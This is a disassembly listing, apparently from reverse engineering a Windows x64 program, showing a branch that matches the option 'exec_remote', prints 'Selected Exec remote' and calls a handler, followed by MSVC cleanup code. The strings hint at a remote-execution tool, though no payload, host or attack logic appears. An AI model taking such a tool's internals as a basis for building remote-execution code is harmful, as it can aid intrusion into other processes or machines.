mov rbx, qword [rsp + 0x38]
mov r8, rbx
mov edi, dword [rsp + 0x30]
mov ecx, edi
call fcn.140002f20
jmp 0x1400042d3
mov rbx, qword [rsp + 0x38]
mov edi, dword [rsp + 0x30]
lea rdx, str.exec_remote
mov rcx, r15
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x14000430e
lea rdx, str.___Selected_Exec_remote_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005990
mov r9, qword [rsp + 0x48]
mov r8, rbx
mov rdx, qword [rsp + 0x50]
mov ecx, edi
call fcn.140001ed0
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x14000434c
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004347
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004347
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006ca0
xor eax, eax
jmp 0x14000439a
mov r14d, 1
mov r13d, r14d
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x140004397
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004392
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004392
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006ca0
mov eax, r13d
mov rcx, qword [rbp + 0x150]
xor rcx, rsp
call fcn.140006b60
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret